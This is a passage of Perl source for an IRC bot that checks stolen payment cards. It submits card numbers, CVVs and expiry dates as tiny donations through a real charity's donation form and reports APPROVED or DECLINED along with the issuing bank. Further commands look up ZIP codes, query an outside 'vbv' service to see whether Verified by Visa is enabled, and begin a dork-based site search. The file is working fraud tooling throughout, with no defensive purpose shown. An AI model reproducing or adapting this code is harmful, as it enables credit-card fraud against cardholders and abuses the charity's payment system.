my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('https://archive.cyark.org/get-involved'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1); { local $^W; $agent->current_form->value('amount', 'other'); }; { local $^W; $agent->current_form->value('amountother', '0.1'); }; { local $^W; $agent->current_form->value('donationfor', 'Wherever most needed'); } { local $^W; $agent->current_form->value('fname', 'mark'); }; { local $^W; $agent->current_form->value('lname', 'smith'); }; { local $^W; $agent->current_form->value('address1', 'las heras 32'); }; { local $^W; $agent->current_form->value('city', 'Mebane'); }; { local $^W; $agent->current_form->value('state', 'AL'); }; { local $^W; $agent->current_form->value('zip', '05544'); }; { local $^W; $agent->current_form->value('country', 'United States'); }; { local $^W; $agent->current_form->value('email', 'movistarsrl1@hotmail.com'); }; { local $^W; $agent->current_form->value('cctype', 'varType'); }; { local $^W; $agent->current_form->value('ccnumber', ''.$numerocarta.''); }; { local $^W; $agent->current_form->value('cvv', ''.$verifica.''); }; { local $^W; $agent->current_form->value('"exp_month', ''.$var1.''); }; { local $^W; $agent->current_form->value('"exp_year', ''.$var2.''); }; $agent->submit(); print $agent->content,"\n"; my $allo=$agent->content; if ($allo =~/Thank you for joining CyArk in digitally preserving our shared human history./){ my $database = "banklist.txt"; open FILE,"$database" or die "Errore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 0: 9APPROVED! - 14AVS mismatch 0,1- 7,1BANK 00: 10,1$1 | | | ");
my $database = "banklist.txt"; open FILE,"$database" or die "Errore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ my $bankinfo = $1; &respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00: 10,1$1 | | | ");
print "card $variable!"; } } }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! "); }elsif ($allo =~/Credit card expiration date is invalid./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. - 14INVALID 0,1- 7,1BANK 00: 10,1$1 "); }elsif ($allo =~/There was a problem with your order./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! "); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! The credit card has expired."); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! is not Valid "); }elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! "); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! "); }elsif ($allo =~/Invalid Credit Card Number/){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. "); }elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! "); }elsif ($allo =~/This transaction requires voice authentication/){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! "); }elsif ($allo =~/Invalid Credit Card Number/){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. "); } }
if($msg{'what'} =~ /^!zip\s+(\d{5})/) { my ($zipcheck) = ($1); &respond_to_privmsg(\%msg," 4,10 0Checking Zip... 4 0 $zipcheck"); print "\n"; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip='); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); }; $agent->submit(); print $agent->content,"\n"; my $zipse=$agent->content; if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){ my ($city) = ($1); my ($state) = ($2); &respond_to_privmsg(\%msg," 4,10 0Zipcode State 4 0 $state 4,10 0Zipcode City 4 9 $city"); } elsif ($zipse =~/is not currently assigned by the US Postal Service to any city./){ &respond_to_privmsg(\%msg," 4,10 0Zipcode City 4 0 Zip Not Found!"); } }
if($msg{'what'} =~ /^!sec\s+(\d{16})/){ open FILE,"SCRIPTS/ignored.txt"; my ($numerocarta,) = ($1,$2,$3,$4,); my $var1 = substr($expmes,0,2); my $var2 = substr($expmes,2,4); if (substr($numerocarta,0,1)==4) { $varType = 1; &respond_to_privmsg(\%msg," 4,1[ 0Checking VBV... 4] 0 $numerocarta"); } if (substr($numerocarta,0,1)==5) { $varType = 2; &respond_to_privmsg(\%msg," 4,1[ 0Checking MCSC.. 4] 0 $numerocarta"); } print "\n"; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('http://s4l1ty.usr.sh/toolz/vbv/'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1); { local $^W; $agent->current_form->value('cclist', ''.$numerocarta.''); }; $agent->submit(); print $agent->content,"\n"; my $allo=$agent->content; if ($allo =~/color=green>Probably Non VBV/){ &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!"); } if ($allo =~/color=green>Probably Non VBV/){ &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!"); } if ($allo =~/color=red>Probably VBV Active/){ &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!"); } if ($allo =~/color=red>Probably VBV Active/){ &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!"); } if ($allo =~/Not found in Database/) { &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 7Enabled!"); } toEnd: }
} } sub ctrl_admin() { my $data = $_[0]; foreach my $admin ( HackAttack ) { if($admin eq $data->{'from'}) { return(0); } } &respond_to_privmsg($data," 4YOU ARE NOT MY ADMIN"); return(-1); }
sub respond_to_privmsg() { my ($data,$m) = ($_[0],$_[1]); if($data->{'to'} =~ /#/) { &privmsg($data->{'to'},$m); } else { &privmsg($data->{'from'},$m); } }
sub urlencode() { my $str = $_[0]; $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; return $str; }
sub unique() { my @unici = (); my %visti = (); foreach my $elemento (@_) { $elemento =~ s/\/+/\//g; next if $visti{$elemento}++; push @unici, $elemento; } return @unici; }
sub find_all_sites() { my ($data,$dork) = @_; my $tmp_file_name = rand(999999) . ".txt"; my @pids_array = (); my @data_links = (); my @site_finded = (); my @site_cleaned = (); $dork =~ s/[\r\n]//g;
&respond_to_privmsg($data," 15[ 7INFO 15] 12 START TO FIND ALL SITES FOR \"".$dork."\" ");